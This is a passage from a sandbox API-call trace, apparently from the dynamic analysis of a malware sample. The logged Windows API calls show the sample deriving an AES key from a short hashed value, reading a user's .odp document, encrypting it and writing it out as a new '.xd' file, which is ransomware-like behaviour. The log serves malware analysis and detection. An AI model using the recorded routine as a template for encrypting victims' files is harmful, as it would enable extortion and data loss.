lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.147] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0074.147] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.147] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.147] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.147] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.147] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0074.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0074.148] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0074.148] CryptHashData (hHash=0x164c8b0, pbData=0x16294a0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0074.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.148] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.148] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.148] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.148] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.148] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0074.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621840, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0074.148] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0074.148] CryptDeriveKey (in: hProv=0x17aade0, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0074.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.201] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.201] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0074.201] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0074.202] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0074.202] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0074.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.202] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.202] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.202] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.202] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.202] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\xekrz9knauvfaja3j.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0074.203] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.203] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0074.203] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.203] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.203] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.203] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif")) returned 0x10 [0074.204] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\xekrz9knauvfaja3j.odp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0074.205] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.205] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.205] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.205] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.207] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0074.207] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xb7a5, lpOverlapped=0x0) returned 1 [0074.210] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0074.213] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.213] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.213] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.213] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0074.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.214] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0074.214] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.214] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0074.214] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.214] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.214] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.214] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0074.214] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0074.265] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0074.265] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x1629330, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629330*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0074.265] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.265] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.265] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.265] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.265] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.265] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.265] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.266] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.266] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.266] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.266] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.266] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.266] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.266] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.266] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.266] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.266] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.266] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.266] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.266] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.266] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.266] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.266] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.266] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.267] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.267] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.267] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xb7a5, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xb7b0) returned 1 [0074.267] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.267] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.267] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.268] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.268] CharLowerBuffW (in: lpsz="byte[47025]", cchLength=0xb | out: lpsz="byte[47025]") returned 0xb [0074.268] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.269] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.269] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.269] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.269] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621af8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.269] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.269] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1803230*, pdwDataLen=0x130e618*=0xb7a5, dwBufLen=0xb7b0 | out: pbData=0x1803230*, pdwDataLen=0x130e618*=0xb7b0) returned 1 [0074.269] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.269] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.269] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.269] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.269] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.270] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.270] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.270] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.270] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.270] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.270] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.270] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.270] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.270] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.270] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.270] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.270] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.272] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.272] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.272] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.272] WriteFile (in: hFile=0x3d0, lpBuffer=0x17ec2d8*, nNumberOfBytesToWrite=0xb7b0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ec2d8*, lpNumberOfBytesWritten=0x130f01c*=0xb7b0, lpOverlapped=0x0) returned 1 [0074.274] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.274] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.274] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0074.274] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.274] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.274] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0074.274] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, 